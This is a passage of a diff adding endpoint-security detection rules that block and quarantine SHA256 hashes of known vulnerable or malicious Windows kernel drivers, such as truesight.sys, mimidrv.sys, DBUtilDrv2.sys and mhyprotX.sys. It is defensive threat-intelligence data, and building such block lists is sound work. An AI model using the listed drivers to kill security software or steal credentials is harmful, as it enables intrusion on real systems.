+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e33b69b6-fa1f-5abb-ae24-950ce83782bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836612Z",
+  "creation_date": "2026-03-23T11:45:30.836614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e01fc93068d3447fcee27f4d41bfe607ccb0a23c80bf3accd5578de30623b7f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e34249cf-8da0-5997-b98a-cc8c4d0b39cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471104Z",
+  "creation_date": "2026-03-23T11:45:30.471108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471117Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "577e381b5d36faf15cde84ed59c51e2dcb65d90140848111429e1c8cfb0553f5",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e34366a5-f864-5021-bb90-411b356f146a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491220Z",
+  "creation_date": "2026-03-23T11:45:31.491223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2b6a4ce32a2e97c1f093266abfb29344ce3fa67943623bbeef76f16500ac749d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3457e60-53e0-5e3c-92eb-22443a9d625f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983264Z",
+  "creation_date": "2026-03-23T11:45:29.983266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983271Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7c683ef033ac2dc4dfa0dc61f39931f91c0e8fd19e613f664cb03e14112ef6e",
+  "comment": "Vulnerable Kernel Driver (aka DBUtilDrv2.sys) [https://www.loldrivers.io/drivers/bb808089-5857-4df2-8998-753a7106cb44/,https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e37d40f3-f9b7-5c2f-80d4-2e7a91f6ba2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152778Z",
+  "creation_date": "2026-03-23T11:45:31.152781Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152788Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6bb4baa4a8a4b078d79cfd5121ed6ba35b52a59cfb76e975fa68ca4feb39228a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e384213f-d380-5c64-a267-fb4d5916b9fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481422Z",
+  "creation_date": "2026-03-23T11:45:31.481426Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8ec96f1f1d48a9a6ed971de2bae57b37f5a4abe8e81e7376a9be53403f62582d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e384b630-08b0-59b7-813f-c9a6b87b9418",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474176Z",
+  "creation_date": "2026-03-23T11:45:30.474179Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474188Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8e3548efca46a3aceca747622881843b170225957cffeacfd149c25907ecf2d",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3951ebf-e1a1-5b92-9012-b0523f46d94a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148364Z",
+  "creation_date": "2026-03-23T11:45:31.148366Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148372Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2abf81a54f0c87e8a84aa3cc947670a7e0d0c4a22cc9b64435de29fc3139bd9b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3972cdf-ddf3-5289-9c01-63c995afe505",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968132Z",
+  "creation_date": "2026-03-23T11:45:29.968134Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968140Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8774638b1b77665496dde96f1016f498bd91c062a9133d4faef6feeb0b7778e7",
+  "comment": "Projector Rootkit malicious drivers (aka KB_VRX_deviced.sys) [https://twitter.com/struppigel/status/1551503748601729025] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3b1ba13-a439-56f7-84da-c56124cde439",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148114Z",
+  "creation_date": "2026-03-23T11:45:31.148116Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148121Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d23efbd84ed31fbb76a644d27553765f76725fbd97d02f9cdbc390ccb278bae",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3bc8849-22ad-5370-8d73-3a20875e7504",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477451Z",
+  "creation_date": "2026-03-23T11:45:31.477455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477465Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63142b7b40371b449f51a94b8fdfce02ab23e0b9b17539ffbc34caa03a8a3388",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3d329ba-1554-58e3-b9b1-5b2fafeb4fa7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485579Z",
+  "creation_date": "2026-03-23T11:45:31.485582Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485592Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a685c5633e5f84736ff0df187118feeafc957f8a41cfad02d121d380cf5e7e55",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3e578e2-95d1-5810-9d1c-fc0a555bebbf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611428Z",
+  "creation_date": "2026-03-23T11:45:29.611430Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611435Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72f9cb24cfa641876f34967b96244259f95987ef24d1d729c0e483b3eb9a2740",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3e85930-6b6f-5346-ac89-d0e8d55e060f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836504Z",
+  "creation_date": "2026-03-23T11:45:30.836506Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab3ef21f5a64c36ddacb54348711f94609850745824185b7286759e635a1c027",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3ea0e71-eec5-50fe-a18d-69c973fba937",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459157Z",
+  "creation_date": "2026-03-23T11:45:30.459160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459169Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f3e7bf7b103613844a38afb574817ddaecd00e4d206d891660dbb0e5dfee04e",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3f1aa89-8f1d-5130-b392-08007300f9d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474090Z",
+  "creation_date": "2026-03-23T11:45:30.474093Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474102Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14b04931ee50e5d2560f42cc33b05f047886a8a7d45b3274ae78e5646a1cf1a5",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3f3721a-89fc-568a-9006-09b242e5680f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612018Z",
+  "creation_date": "2026-03-23T11:45:29.612020Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612027Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c512b615eac374d4d494e3c36838d8e788b3dc2691bf27916f7f42694b14467",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3fc9596-6771-530c-95a8-a5e6dfe1d0f9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976389Z",
+  "creation_date": "2026-03-23T11:45:29.976391Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0440ef40c46fdd2b5d86e7feef8577a8591de862cfd7928cdbcc8f47b8fa3ffc",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3fd6c85-c1bc-5f85-b843-60329bd5f6f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457965Z",
+  "creation_date": "2026-03-23T11:45:30.457968Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457977Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "653f6a65e0e608cae217bea2f90f05d8125cf23f83ba01a60de0f5659cfa5d4d",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e3ff176c-17f0-5022-ac80-52219112f312",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612774Z",
+  "creation_date": "2026-03-23T11:45:29.612776Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612782Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1631d124bd8b2917c37abfe0f7b3dfa9e309ec54f69bdab2e2b5de3929d523d7",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e41669fa-7c44-5aa2-a90b-b93dd4c6dc6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824461Z",
+  "creation_date": "2026-03-23T11:45:31.824464Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824472Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "153533a9f0457d657ba83aa8266b9682ec4be382c5ba7e9b2a8f46c8e40f1847",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e419957d-8a5d-57b8-aade-b4206bef0dc8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145412Z",
+  "creation_date": "2026-03-23T11:45:31.145414Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145420Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5df6f4e9933b3daca829cd5655b87c96b00660a5ac676a78daa8ae48ae77b820",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
